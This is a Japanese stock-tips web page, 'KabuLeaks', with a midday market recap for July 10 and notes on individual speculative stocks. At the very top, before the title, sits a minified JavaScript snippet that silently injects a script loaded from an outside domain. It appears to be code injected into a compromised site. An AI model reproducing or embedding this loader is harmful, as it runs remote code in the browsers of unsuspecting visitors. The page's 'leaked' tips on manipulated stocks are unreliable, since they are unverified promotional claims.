;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【7/10 前引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【7/10 前引け】

【6976】太陽誘電 1,582円 -23 (-1.43%)

【4755】楽天 1,981円 -10 (-0.5%)

【3825】リミックスポイント 2,369円 -24 (-1%)

前場の日経平均株価は81円高と続伸。売り先行スタートで始まったものの、上海株安に対する不安感がやや後退したことなどから徐々に買い戻しや押し目買いの動きになりプラス転換。一巡後後は高値圏でのもみ合いとなっている。業種別では、医薬品、食料品、情報・通信業、銀行業などが値上がり上位に。一方、海運業、小売業、ゴム製品、繊維製品などが値下がり上位となっている。

個別では本日監視対象注目の【3727】アプリックスがストップ高。「お知らせビーコン」が欧州大手アロマディフューザーブランドの採用されたことを改め材料視格好に。低位材料株人気に乗り投機資金が入っている【3409】北日本紡績が大幅上昇、連日値を飛ばしている【4335】アイ・ピー・エスはストップ高の9日続伸。その他、クローン病治療薬「エントコーン」の販売権を英アストラゼネカから取得した【4559】ゼリア新薬。創業100周年記念で配当倍増を好感され【7447】ナガイレーベンなども買われている。

後場は週末要因のほか、上海市場やギリシャ債務問題の先行きに対する警戒感は薄れているものの引き続き警戒心は若干残る状況。外部要因が落ち着くまでは買いにいっても打診程度。まずは方向性をしっかり見極めていきたい。